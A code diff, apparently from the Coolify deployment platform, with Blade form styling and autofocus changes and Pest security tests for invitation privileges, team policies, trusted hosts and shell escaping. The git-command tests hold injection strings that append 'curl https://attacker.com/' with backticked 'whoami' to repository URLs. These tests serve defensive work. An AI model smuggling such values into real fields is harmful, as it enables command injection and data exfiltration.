class="flex flex-wrap gap-1.5 max-h-40 overflow-y-auto scrollbar py-1.5 w-full text-sm rounded-sm border-0 ring-1 ring-inset ring-neutral-200 dark:ring-coolgray-300 bg-white dark:bg-coolgray-100 cursor-text px-1 focus-within:ring-2 focus-within:ring-coollabs dark:focus-within:ring-warning text-black dark:text-white"
class="flex flex-wrap gap-1.5 max-h-40 overflow-y-auto scrollbar py-1.5 w-full text-sm rounded-sm border-0 ring-2 ring-inset ring-neutral-200 dark:ring-coolgray-300 bg-white dark:bg-coolgray-100 cursor-text px-1 focus-within:border-l-4 focus-within:border-l-coollabs dark:focus-within:border-l-warning text-black dark:text-white"
:class="{
'opacity-50': {{ $disabled ? 'true' : 'false' }}
}"
wire:loading.class="opacity-50"
wire:dirty.class="dark:ring-warning ring-warning">
wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4">
{{-- Selected Tags Inside Input --}}
<template x-for="value in selected" :key="value">
@ -229,12 +229,12 @@ class="w-4 h-4 rounded border-neutral-300 dark:border-neutral-600 bg-white dark:
{{-- Input Container --}}
<div @click="openDropdown()"
class="flex items-center gap-2 py-1.5 w-full text-sm rounded-sm border-0 ring-1 ring-inset ring-neutral-200 dark:ring-coolgray-300 bg-white dark:bg-coolgray-100 cursor-text focus-within:ring-2 focus-within:ring-coollabs dark:focus-within:ring-warning text-black dark:text-white"
class="flex items-center gap-2 py-1.5 w-full text-sm rounded-sm border-0 ring-2 ring-inset ring-neutral-200 dark:ring-coolgray-300 bg-white dark:bg-coolgray-100 cursor-text focus-within:border-l-4 focus-within:border-l-coollabs dark:focus-within:border-l-warning text-black dark:text-white"
:class="{
'opacity-50': {{ $disabled ? 'true' : 'false' }}
}"
wire:loading.class="opacity-50"
wire:dirty.class="dark:ring-warning ring-warning">
wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4">
{{-- Display Selected Value or Search Input --}}
<div class="flex-1 flex items-center min-w-0 px-1">

View file

@ -28,7 +28,7 @@ class="flex absolute inset-y-0 right-0 items-center pr-2 cursor-pointer dark:hov
<input autocomplete="{{ $autocomplete }}" value="{{ $value }}"
{{ $attributes->merge(['class' => $defaultClass]) }} @required($required)
@if ($id !== 'null') wire:model={{ $id }} @endif
wire:dirty.class="dark:ring-warning ring-warning" wire:loading.attr="disabled"
wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" wire:loading.attr="disabled"
type="{{ $type }}" @readonly($readonly) @disabled($disabled) id="{{ $id }}"
name="{{ $name }}" placeholder="{{ $attributes->get('placeholder') }}"
aria-placeholder="{{ $attributes->get('placeholder') }}"
@ -39,7 +39,7 @@ class="flex absolute inset-y-0 right-0 items-center pr-2 cursor-pointer dark:hov
<input autocomplete="{{ $autocomplete }}" @if ($value) value="{{ $value }}" @endif
{{ $attributes->merge(['class' => $defaultClass]) }} @required($required) @readonly($readonly)
@if ($id !== 'null') wire:model={{ $id }} @endif
wire:dirty.class="dark:ring-warning ring-warning" wire:loading.attr="disabled"
wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" wire:loading.attr="disabled"
type="{{ $type }}" @disabled($disabled) min="{{ $attributes->get('min') }}"
max="{{ $attributes->get('max') }}" minlength="{{ $attributes->get('minlength') }}"
maxlength="{{ $attributes->get('maxlength') }}"

View file

@ -81,8 +81,13 @@
document.getElementById(monacoId).addEventListener('monaco-editor-focused', (event) => {
editor.focus();
});
updatePlaceholder(editor.getValue());
@if ($autofocus)
// Auto-focus the editor
setTimeout(() => editor.focus(), 100);
@endif
$watch('monacoContent', value => {
if (editor.getValue() !== value) {
@ -99,7 +104,7 @@
}, 5);" :id="monacoId">
</div>
<div class="relative z-10 w-full h-full">
<div x-ref="monacoEditorElement" class="w-full h-96 text-md {{ $readonly ? 'opacity-65' : '' }}"></div>
<div x-ref="monacoEditorElement" class="w-full h-[calc(100vh-20rem)] min-h-96 text-md {{ $readonly ? 'opacity-65' : '' }}"></div>
<div x-ref="monacoPlaceholderElement" x-show="monacoPlaceholder" @click="monacoEditorFocus()"
:style="'font-size: ' + monacoFontSize"
class="w-full text-sm font-mono absolute z-50 text-gray-500 ml-14 -translate-x-0.5 mt-0.5 left-0 top-0"

View file

@ -11,7 +11,7 @@ class="flex gap-1 items-center mb-1 text-sm font-medium {{ $disabled ? 'text-neu
</label>
@endif
<select {{ $attributes->merge(['class' => $defaultClass]) }} @disabled($disabled) @required($required)
wire:dirty.class="dark:ring-warning ring-warning" wire:loading.attr="disabled" name={{ $id }}
wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" wire:loading.attr="disabled" name={{ $id }}
@if ($attributes->whereStartsWith('wire:model')->first()) {{ $attributes->whereStartsWith('wire:model')->first() }} @else wire:model={{ $id }} @endif>
{{ $slot }}
</select>

View file

@ -27,7 +27,7 @@ function handleKeydown(e) {
@if ($useMonacoEditor)
<x-forms.monaco-editor id="{{ $id }}" language="{{ $monacoEditorLanguage }}" name="{{ $name }}"
name="{{ $id }}" model="{{ $value ?? $id }}" wire:model="{{ $value ?? $id }}"
readonly="{{ $readonly }}" label="dockerfile" />
readonly="{{ $readonly }}" label="dockerfile" autofocus="{{ $autofocus }}" />
@else
@if ($type === 'password')
<div class="relative" x-data="{ type: 'password' }">
@ -46,7 +46,7 @@ class="absolute inset-y-0 right-0 flex items-center h-6 pt-2 pr-2 cursor-pointer
<input x-cloak x-show="type === 'password'" value="{{ $value }}"
{{ $attributes->merge(['class' => $defaultClassInput]) }} @required($required)
@if ($id !== 'null') wire:model={{ $id }} @endif
wire:dirty.class="dark:ring-warning ring-warning" wire:loading.attr="disabled"
wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" wire:loading.attr="disabled"
type="{{ $type }}" @readonly($readonly) @disabled($disabled) id="{{ $id }}"
name="{{ $name }}" placeholder="{{ $attributes->get('placeholder') }}"
aria-placeholder="{{ $attributes->get('placeholder') }}">
@ -55,9 +55,10 @@ class="absolute inset-y-0 right-0 flex items-center h-6 pt-2 pr-2 cursor-pointer
@if ($realtimeValidation) wire:model.debounce.200ms="{{ $id }}"
@else
wire:model={{ $value ?? $id }}
wire:dirty.class="dark:ring-warning ring-warning" @endif
wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" @endif
@disabled($disabled) @readonly($readonly) @required($required) id="{{ $id }}"
name="{{ $name }}" name={{ $id }}></textarea>
name="{{ $name }}" name={{ $id }}
@if ($autofocus) x-ref="autofocusInput" @endif></textarea>
</div>
@else
@ -67,9 +68,10 @@ class="absolute inset-y-0 right-0 flex items-center h-6 pt-2 pr-2 cursor-pointer
@if ($realtimeValidation) wire:model.debounce.200ms="{{ $id }}"
@else
wire:model={{ $value ?? $id }}
wire:dirty.class="dark:ring-warning ring-warning" @endif
wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" @endif
@disabled($disabled) @readonly($readonly) @required($required) id="{{ $id }}"
name="{{ $name }}" name={{ $id }}></textarea>
name="{{ $name }}" name={{ $id }}
@if ($autofocus) x-ref="autofocusInput" @endif></textarea>
@endif
@endif
@error($id)

View file

@ -90,12 +90,12 @@
@if ($application->build_pack !== 'dockercompose')
<div class="flex items-end gap-2">
@if ($application->settings->is_container_label_readonly_enabled == false)
<x-forms.input placeholder="https://coolify.io" wire:model.blur="application.fqdn"
<x-forms.input placeholder="https://coolify.io" wire:model="application.fqdn"
label="Domains" readonly
helper="Readonly labels are disabled. You can set the domains in the labels section."
x-bind:disabled="!canUpdate" />
@else
<x-forms.input placeholder="https://coolify.io" wire:model.blur="application.fqdn"
<x-forms.input placeholder="https://coolify.io" wire:model="application.fqdn"
label="Domains"
helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- http://app.coolify.io,https://cloud.coolify.io/dashboard<br>- http://app.coolify.io/api/v3<br>- http://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container. "
x-bind:disabled="!canUpdate" />

View file

@ -7,7 +7,7 @@
<x-forms.button type="submit">Save</x-forms.button>
</div>
<x-forms.textarea useMonacoEditor monacoEditorLanguage="yaml" label="Docker Compose file" rows="20"
id="dockerComposeRaw"
id="dockerComposeRaw" autofocus
placeholder='services:
ghost:
documentation: https://ghost.org/docs/config

View file

@ -6,7 +6,7 @@
<h2>Dockerfile</h2>
<x-forms.button type="submit">Save</x-forms.button>
</div>
<x-forms.textarea rows="20" id="dockerfile"
<x-forms.textarea useMonacoEditor monacoEditorLanguage="dockerfile" rows="20" id="dockerfile" autofocus
placeholder='FROM nginx
EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]

View file

@ -0,0 +1,64 @@
<?php
use App\Models\Server;
use App\Models\ServerSetting;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
it('wasChanged returns true after saving a changed field', function () {
// Create user and server
$user = User::factory()->create();
$team = $user->teams()->first();
$server = Server::factory()->create(['team_id' => $team->id]);
$settings = $server->settings;
// Change a field
$settings->is_reachable = ! $settings->is_reachable;
$settings->save();
// In the updated hook, wasChanged should return true
expect($settings->wasChanged('is_reachable'))->toBeTrue();
});
it('isDirty returns false after saving', function () {
// Create user and server
$user = User::factory()->create();
$team = $user->teams()->first();
$server = Server::factory()->create(['team_id' => $team->id]);
$settings = $server->settings;
// Change a field
$settings->is_reachable = ! $settings->is_reachable;
$settings->save();
// After save, isDirty returns false (this is the bug)
expect($settings->isDirty('is_reachable'))->toBeFalse();
});
it('can detect sentinel_token changes with wasChanged', function () {
// Create user and server
$user = User::factory()->create();
$team = $user->teams()->first();
$server = Server::factory()->create(['team_id' => $team->id]);
$settings = $server->settings;
$originalToken = $settings->sentinel_token;
// Create a tracking variable using model events
$tokenWasChanged = false;
ServerSetting::updated(function ($model) use (&$tokenWasChanged) {
if ($model->wasChanged('sentinel_token')) {
$tokenWasChanged = true;
}
});
// Change the token
$settings->sentinel_token = 'new-token-value-for-testing';
$settings->save();
expect($tokenWasChanged)->toBeTrue();
});

View file

@ -0,0 +1,176 @@
<?php
use App\Livewire\Team\InviteLink;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
// Create a team with owner, admin, and member
$this->team = Team::factory()->create();
$this->owner = User::factory()->create();
$this->admin = User::factory()->create();
$this->member = User::factory()->create();
$this->team->members()->attach($this->owner->id, ['role' => 'owner']);
$this->team->members()->attach($this->admin->id, ['role' => 'admin']);
$this->team->members()->attach($this->member->id, ['role' => 'member']);
});
describe('privilege escalation prevention', function () {
test('member cannot invite admin (SECURITY FIX)', function () {
// Login as member
$this->actingAs($this->member);
session(['currentTeam' => $this->team]);
// Attempt to invite someone as admin
Livewire::test(InviteLink::class)
->set('email', 'newadmin@example.com')
->set('role', 'admin')
->call('viaLink')
->assertDispatched('error');
});
test('member cannot invite owner (SECURITY FIX)', function () {
// Login as member
$this->actingAs($this->member);
session(['currentTeam' => $this->team]);
// Attempt to invite someone as owner
Livewire::test(InviteLink::class)
->set('email', 'newowner@example.com')
->set('role', 'owner')
->call('viaLink')
->assertDispatched('error');
});
test('admin cannot invite owner', function () {
// Login as admin
$this->actingAs($this->admin);
session(['currentTeam' => $this->team]);
// Attempt to invite someone as owner
Livewire::test(InviteLink::class)
->set('email', 'newowner@example.com')
->set('role', 'owner')
->call('viaLink')
->assertDispatched('error');
});
test('admin can invite member', function () {
// Login as admin
$this->actingAs($this->admin);
session(['currentTeam' => $this->team]);
// Invite someone as member
Livewire::test(InviteLink::class)
->set('email', 'newmember@example.com')
->set('role', 'member')
->call('viaLink')
->assertDispatched('success');
// Verify invitation was created
$this->assertDatabaseHas('team_invitations', [
'email' => 'newmember@example.com',
'role' => 'member',
'team_id' => $this->team->id,
]);
});
test('admin can invite admin', function () {
// Login as admin
$this->actingAs($this->admin);
session(['currentTeam' => $this->team]);
// Invite someone as admin
Livewire::test(InviteLink::class)
->set('email', 'newadmin@example.com')
->set('role', 'admin')
->call('viaLink')
->assertDispatched('success');
// Verify invitation was created
$this->assertDatabaseHas('team_invitations', [
'email' => 'newadmin@example.com',
'role' => 'admin',
'team_id' => $this->team->id,
]);
});
test('owner can invite member', function () {
// Login as owner
$this->actingAs($this->owner);
session(['currentTeam' => $this->team]);
// Invite someone as member
Livewire::test(InviteLink::class)
->set('email', 'newmember@example.com')
->set('role', 'member')
->call('viaLink')
->assertDispatched('success');
// Verify invitation was created
$this->assertDatabaseHas('team_invitations', [
'email' => 'newmember@example.com',
'role' => 'member',
'team_id' => $this->team->id,
]);
});
test('owner can invite admin', function () {
// Login as owner
$this->actingAs($this->owner);
session(['currentTeam' => $this->team]);
// Invite someone as admin
Livewire::test(InviteLink::class)
->set('email', 'newadmin@example.com')
->set('role', 'admin')
->call('viaLink')
->assertDispatched('success');
// Verify invitation was created
$this->assertDatabaseHas('team_invitations', [
'email' => 'newadmin@example.com',
'role' => 'admin',
'team_id' => $this->team->id,
]);
});
test('owner can invite owner', function () {
// Login as owner
$this->actingAs($this->owner);
session(['currentTeam' => $this->team]);
// Invite someone as owner
Livewire::test(InviteLink::class)
->set('email', 'newowner@example.com')
->set('role', 'owner')
->call('viaLink')
->assertDispatched('success');
// Verify invitation was created
$this->assertDatabaseHas('team_invitations', [
'email' => 'newowner@example.com',
'role' => 'owner',
'team_id' => $this->team->id,
]);
});
test('member cannot bypass policy by calling viaEmail', function () {
// Login as member
$this->actingAs($this->member);
session(['currentTeam' => $this->team]);
// Attempt to invite someone as admin via email
Livewire::test(InviteLink::class)
->set('email', 'newadmin@example.com')
->set('role', 'admin')
->call('viaEmail')
->assertDispatched('error');
});
});

View file

@ -0,0 +1,184 @@
<?php
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
// Create a team with owner, admin, and member
$this->team = Team::factory()->create();
$this->owner = User::factory()->create();
$this->admin = User::factory()->create();
$this->member = User::factory()->create();
$this->team->members()->attach($this->owner->id, ['role' => 'owner']);
$this->team->members()->attach($this->admin->id, ['role' => 'admin']);
$this->team->members()->attach($this->member->id, ['role' => 'member']);
});
describe('update permission', function () {
test('owner can update team', function () {
$this->actingAs($this->owner);
session(['currentTeam' => $this->team]);
expect($this->owner->can('update', $this->team))->toBeTrue();
});
test('admin can update team', function () {
$this->actingAs($this->admin);
session(['currentTeam' => $this->team]);
expect($this->admin->can('update', $this->team))->toBeTrue();
});
test('member cannot update team', function () {
$this->actingAs($this->member);
session(['currentTeam' => $this->team]);
expect($this->member->can('update', $this->team))->toBeFalse();
});
test('non-team member cannot update team', function () {
$outsider = User::factory()->create();
$this->actingAs($outsider);
session(['currentTeam' => $this->team]);
expect($outsider->can('update', $this->team))->toBeFalse();
});
});
describe('delete permission', function () {
test('owner can delete team', function () {
$this->actingAs($this->owner);
session(['currentTeam' => $this->team]);
expect($this->owner->can('delete', $this->team))->toBeTrue();
});
test('admin can delete team', function () {
$this->actingAs($this->admin);
session(['currentTeam' => $this->team]);
expect($this->admin->can('delete', $this->team))->toBeTrue();
});
test('member cannot delete team', function () {
$this->actingAs($this->member);
session(['currentTeam' => $this->team]);
expect($this->member->can('delete', $this->team))->toBeFalse();
});
test('non-team member cannot delete team', function () {
$outsider = User::factory()->create();
$this->actingAs($outsider);
session(['currentTeam' => $this->team]);
expect($outsider->can('delete', $this->team))->toBeFalse();
});
});
describe('manageMembers permission', function () {
test('owner can manage members', function () {
$this->actingAs($this->owner);
session(['currentTeam' => $this->team]);
expect($this->owner->can('manageMembers', $this->team))->toBeTrue();
});
test('admin can manage members', function () {
$this->actingAs($this->admin);
session(['currentTeam' => $this->team]);
expect($this->admin->can('manageMembers', $this->team))->toBeTrue();
});
test('member cannot manage members', function () {
$this->actingAs($this->member);
session(['currentTeam' => $this->team]);
expect($this->member->can('manageMembers', $this->team))->toBeFalse();
});
test('non-team member cannot manage members', function () {
$outsider = User::factory()->create();
$this->actingAs($outsider);
session(['currentTeam' => $this->team]);
expect($outsider->can('manageMembers', $this->team))->toBeFalse();
});
});
describe('viewAdmin permission', function () {
test('owner can view admin panel', function () {
$this->actingAs($this->owner);
session(['currentTeam' => $this->team]);
expect($this->owner->can('viewAdmin', $this->team))->toBeTrue();
});
test('admin can view admin panel', function () {
$this->actingAs($this->admin);
session(['currentTeam' => $this->team]);
expect($this->admin->can('viewAdmin', $this->team))->toBeTrue();
});
test('member cannot view admin panel', function () {
$this->actingAs($this->member);
session(['currentTeam' => $this->team]);
expect($this->member->can('viewAdmin', $this->team))->toBeFalse();
});
test('non-team member cannot view admin panel', function () {
$outsider = User::factory()->create();
$this->actingAs($outsider);
session(['currentTeam' => $this->team]);
expect($outsider->can('viewAdmin', $this->team))->toBeFalse();
});
});
describe('manageInvitations permission (privilege escalation fix)', function () {
test('owner can manage invitations', function () {
$this->actingAs($this->owner);
session(['currentTeam' => $this->team]);
expect($this->owner->can('manageInvitations', $this->team))->toBeTrue();
});
test('admin can manage invitations', function () {
$this->actingAs($this->admin);
session(['currentTeam' => $this->team]);
expect($this->admin->can('manageInvitations', $this->team))->toBeTrue();
});
test('member cannot manage invitations (SECURITY FIX)', function () {
// This test verifies the privilege escalation vulnerability is fixed
// Previously, members could see and manage admin invitations
$this->actingAs($this->member);
session(['currentTeam' => $this->team]);
expect($this->member->can('manageInvitations', $this->team))->toBeFalse();
});
test('non-team member cannot manage invitations', function () {
$outsider = User::factory()->create();
$this->actingAs($outsider);
session(['currentTeam' => $this->team]);
expect($outsider->can('manageInvitations', $this->team))->toBeFalse();
});
});
describe('view permission', function () {
test('owner can view team', function () {
$this->actingAs($this->owner);
session(['currentTeam' => $this->team]);
expect($this->owner->can('view', $this->team))->toBeTrue();
});
test('admin can view team', function () {
$this->actingAs($this->admin);
session(['currentTeam' => $this->team]);
expect($this->admin->can('view', $this->team))->toBeTrue();
});
test('member can view team', function () {
$this->actingAs($this->member);
session(['currentTeam' => $this->team]);
expect($this->member->can('view', $this->team))->toBeTrue();
});
test('non-team member cannot view team', function () {
$outsider = User::factory()->create();
$this->actingAs($outsider);
session(['currentTeam' => $this->team]);
expect($outsider->can('view', $this->team))->toBeFalse();
});
});

View file

@ -0,0 +1,229 @@
<?php
use App\Http\Middleware\TrustHosts;
use App\Models\InstanceSettings;
use Illuminate\Support\Facades\Cache;
uses(\Illuminate\Foundation\Testing\RefreshDatabase::class);
beforeEach(function () {
// Clear cache before each test to ensure isolation
Cache::forget('instance_settings_fqdn_host');
});
it('trusts the configured FQDN from InstanceSettings', function () {
// Create instance settings with FQDN
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'https://coolify.example.com']
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
expect($hosts)->toContain('coolify.example.com');
});
it('rejects password reset request with malicious host header', function () {
// Set up instance settings with legitimate FQDN
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'https://coolify.example.com']
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
// The malicious host should NOT be in the trusted hosts
expect($hosts)->not->toContain('coolify.example.com.evil.com');
expect($hosts)->toContain('coolify.example.com');
});
it('handles missing FQDN gracefully', function () {
// Create instance settings without FQDN
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => null]
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
// Should still return APP_URL pattern without throwing
expect($hosts)->not->toBeEmpty();
});
it('filters out null and empty values from trusted hosts', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => '']
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
// Should not contain empty strings or null
foreach ($hosts as $host) {
if ($host !== null) {
expect($host)->not->toBeEmpty();
}
}
});
it('extracts host from FQDN with protocol and port', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'https://coolify.example.com:8443']
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
expect($hosts)->toContain('coolify.example.com');
});
it('handles exception during InstanceSettings fetch', function () {
// Drop the instance_settings table to simulate installation
\Schema::dropIfExists('instance_settings');
$middleware = new TrustHosts($this->app);
// Should not throw an exception
$hosts = $middleware->hosts();
expect($hosts)->not->toBeEmpty();
});
it('trusts IP addresses with port', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'http://65.21.3.91:8000']
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
expect($hosts)->toContain('65.21.3.91');
});
it('trusts IP addresses without port', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'http://192.168.1.100']
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
expect($hosts)->toContain('192.168.1.100');
});
it('rejects malicious host when using IP address', function () {
// Simulate an instance using IP address
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'http://65.21.3.91:8000']
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
// The malicious host attempting to mimic the IP should NOT be trusted
expect($hosts)->not->toContain('65.21.3.91.evil.com');
expect($hosts)->not->toContain('evil.com');
expect($hosts)->toContain('65.21.3.91');
});
it('trusts IPv6 addresses', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'http://[2001:db8::1]:8000']
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
// IPv6 addresses are enclosed in brackets, getHost() should handle this
expect($hosts)->toContain('[2001:db8::1]');
});
it('invalidates cache when FQDN is updated', function () {
// Set initial FQDN
$settings = InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'https://old-domain.com']
);
// First call should cache it
$middleware = new TrustHosts($this->app);
$hosts1 = $middleware->hosts();
expect($hosts1)->toContain('old-domain.com');
// Verify cache exists
expect(Cache::has('instance_settings_fqdn_host'))->toBeTrue();
// Update FQDN - should trigger cache invalidation
$settings->fqdn = 'https://new-domain.com';
$settings->save();
// Cache should be cleared
expect(Cache::has('instance_settings_fqdn_host'))->toBeFalse();
// New call should return updated host
$middleware2 = new TrustHosts($this->app);
$hosts2 = $middleware2->hosts();
expect($hosts2)->toContain('new-domain.com');
expect($hosts2)->not->toContain('old-domain.com');
});
it('caches trusted hosts to avoid database queries on every request', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'https://coolify.example.com']
);
// Clear cache first
Cache::forget('instance_settings_fqdn_host');
// First call - should query database and cache result
$middleware1 = new TrustHosts($this->app);
$hosts1 = $middleware1->hosts();
// Verify result is cached
expect(Cache::has('instance_settings_fqdn_host'))->toBeTrue();
expect(Cache::get('instance_settings_fqdn_host'))->toBe('coolify.example.com');
// Subsequent calls should use cache (no DB query)
$middleware2 = new TrustHosts($this->app);
$hosts2 = $middleware2->hosts();
expect($hosts1)->toBe($hosts2);
expect($hosts2)->toContain('coolify.example.com');
});
it('caches negative results when no FQDN is configured', function () {
// Create instance settings without FQDN
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => null]
);
// Clear cache first
Cache::forget('instance_settings_fqdn_host');
// First call - should query database and cache empty string sentinel
$middleware1 = new TrustHosts($this->app);
$hosts1 = $middleware1->hosts();
// Verify empty string sentinel is cached (not null, which wouldn't be cached)
expect(Cache::has('instance_settings_fqdn_host'))->toBeTrue();
expect(Cache::get('instance_settings_fqdn_host'))->toBe('');
// Subsequent calls should use cached sentinel value
$middleware2 = new TrustHosts($this->app);
$hosts2 = $middleware2->hosts();
expect($hosts1)->toBe($hosts2);
// Should only contain APP_URL pattern, not any FQDN
expect($hosts2)->not->toBeEmpty();
});

View file

@ -0,0 +1,101 @@
<?php
use App\Models\Application;
use App\Models\GithubApp;
use App\Models\PrivateKey;
afterEach(function () {
Mockery::close();
});
it('escapes malicious repository URLs in deploy_key type', function () {
// Arrange: Create a malicious repository URL
$maliciousRepo = 'git@github.com:user/repo.git;curl https://attacker.com/ -X POST --data `whoami`';
$deploymentUuid = 'test-deployment-uuid';
// Mock the application
$application = Mockery::mock(Application::class)->makePartial();
$application->git_branch = 'main';
$application->shouldReceive('deploymentType')->andReturn('deploy_key');
$application->shouldReceive('customRepository')->andReturn([
'repository' => $maliciousRepo,
'port' => 22,
]);
// Mock private key
$privateKey = Mockery::mock(PrivateKey::class)->makePartial();
$privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key');
$application->shouldReceive('getAttribute')->with('private_key')->andReturn($privateKey);
// Act: Generate git ls-remote commands
$result = $application->generateGitLsRemoteCommands($deploymentUuid, true);
// Assert: The command should contain escaped repository URL
expect($result)->toHaveKey('commands');
$command = $result['commands'];
// The malicious payload should be escaped and not executed
expect($command)->toContain("'git@github.com:user/repo.git;curl https://attacker.com/ -X POST --data `whoami`'");
// The command should NOT contain unescaped semicolons or backticks that could execute
expect($command)->not->toContain('repo.git;curl');
});
it('escapes malicious repository URLs in source type with public repo', function () {
// Arrange: Create a malicious repository name
$maliciousRepo = "user/repo';curl https://attacker.com/";
$deploymentUuid = 'test-deployment-uuid';
// Mock the application
$application = Mockery::mock(Application::class)->makePartial();
$application->git_branch = 'main';
$application->shouldReceive('deploymentType')->andReturn('source');
$application->shouldReceive('customRepository')->andReturn([
'repository' => $maliciousRepo,
'port' => 22,
]);
// Mock GithubApp source
$source = Mockery::mock(GithubApp::class)->makePartial();
$source->shouldReceive('getAttribute')->with('html_url')->andReturn('https://github.com');
$source->shouldReceive('getAttribute')->with('is_public')->andReturn(true);
$source->shouldReceive('getMorphClass')->andReturn('App\Models\GithubApp');
$application->shouldReceive('getAttribute')->with('source')->andReturn($source);
$application->source = $source;
// Act: Generate git ls-remote commands
$result = $application->generateGitLsRemoteCommands($deploymentUuid, true);
// Assert: The command should contain escaped repository URL
expect($result)->toHaveKey('commands');
$command = $result['commands'];
// The command should contain the escaped URL (escapeshellarg wraps in single quotes)
expect($command)->toContain("'https://github.com/user/repo'\\''");
});
it('escapes repository URLs in other deployment type', function () {
// Arrange: Create a malicious repository URL
$maliciousRepo = "https://github.com/user/repo.git';curl https://attacker.com/";
$deploymentUuid = 'test-deployment-uuid';
// Mock the application
$application = Mockery::mock(Application::class)->makePartial();
$application->git_branch = 'main';
$application->shouldReceive('deploymentType')->andReturn('other');
$application->shouldReceive('customRepository')->andReturn([
'repository' => $maliciousRepo,
'port' => 22,
]);
// Act: Generate git ls-remote commands
$result = $application->generateGitLsRemoteCommands($deploymentUuid, true);
// Assert: The command should contain escaped repository URL
expect($result)->toHaveKey('commands');
$command = $result['commands'];
// The malicious payload should be escaped (escapeshellarg wraps and escapes quotes)
expect($command)->toContain("'https://github.com/user/repo.git'\\''");
});

View file

@ -0,0 +1,307 @@
<?php
test('escapeBashEnvValue wraps simple values in single quotes', function () {
$result = escapeBashEnvValue('simple_value');
expect($result)->toBe("'simple_value'");
});
test('escapeBashEnvValue handles special bash characters', function () {
$specialChars = [
'$&#)@*~$&@(~#&#%(*$324803129&$#@!)*&$',
'#*#&412)$&#*!%)!@&#)*~@!&$)@*#%^)*@#!)#@~321',
'value with spaces and $variables',
'value with `backticks`',
'value with "double quotes"',
'value|with|pipes',
'value;with;semicolons',
'value&with&ampersands',
'value(with)parentheses',
'value{with}braces',
'value[with]brackets',
'value<with>angles',
'value*with*asterisks',
'value?with?questions',
'value!with!exclamations',
'value~with~tildes',
'value^with^carets',
'value%with%percents',
'value@with@ats',
'value#with#hashes',
];
foreach ($specialChars as $value) {
$result = escapeBashEnvValue($value);
// Should be wrapped in single quotes
expect($result)->toStartWith("'");
expect($result)->toEndWith("'");
// Should contain the original value (or escaped version)
expect($result)->toContain($value);
}
});
test('escapeBashEnvValue escapes single quotes correctly', function () {
// Single quotes in bash single-quoted strings must be escaped as '\''
$value = "it's a value with 'single quotes'";
$result = escapeBashEnvValue($value);
// The result should replace ' with '\''
expect($result)->toBe("'it'\\''s a value with '\\''single quotes'\\'''");
});
test('escapeBashEnvValue handles empty values', function () {
$result = escapeBashEnvValue('');
expect($result)->toBe("''");
});
test('escapeBashEnvValue handles null values', function () {
$result = escapeBashEnvValue(null);
expect($result)->toBe("''");
});
test('escapeBashEnvValue handles values with only special characters', function () {
$value = '$#@!*&^%()[]{}|;~`?"<>';
$result = escapeBashEnvValue($value);
// Should be wrapped and contain all special characters
expect($result)->toBe("'{$value}'");
});
test('escapeBashEnvValue handles multiline values', function () {
$value = "line1\nline2\nline3";
$result = escapeBashEnvValue($value);
// Should preserve newlines
expect($result)->toContain("\n");
expect($result)->toStartWith("'");
expect($result)->toEndWith("'");
});
test('escapeBashEnvValue handles values from user example', function () {
$literal = '$&#)@*~$&@(~#&#%(*$324803129&$#@!)*&$';
$weird = '#*#&412)$&#*!%)!@&#)*~@!&$)@*#%^)*@#!)#@~321';
$escapedLiteral = escapeBashEnvValue($literal);
$escapedWeird = escapeBashEnvValue($weird);
// These should be safely wrapped in single quotes
expect($escapedLiteral)->toBe("'{$literal}'");
expect($escapedWeird)->toBe("'{$weird}'");
// Test that when written to a file and sourced, they would work
// Format: KEY=VALUE
$envLine1 = "literal={$escapedLiteral}";
$envLine2 = "weird={$escapedWeird}";
// These should be valid bash assignment statements
expect($envLine1)->toStartWith('literal=');
expect($envLine2)->toStartWith('weird=');
});
test('escapeBashEnvValue handles backslashes', function () {
$value = 'path\\to\\file';
$result = escapeBashEnvValue($value);
// Backslashes should be preserved in single quotes
expect($result)->toBe("'{$value}'");
expect($result)->toContain('\\');
});
test('escapeBashEnvValue handles dollar signs correctly', function () {
$value = '$HOME and $PATH';
$result = escapeBashEnvValue($value);
// Dollar signs should NOT be expanded in single quotes
expect($result)->toBe("'{$value}'");
expect($result)->toContain('$HOME');
expect($result)->toContain('$PATH');
});
test('escapeBashEnvValue handles complex combination of special characters and single quotes', function () {
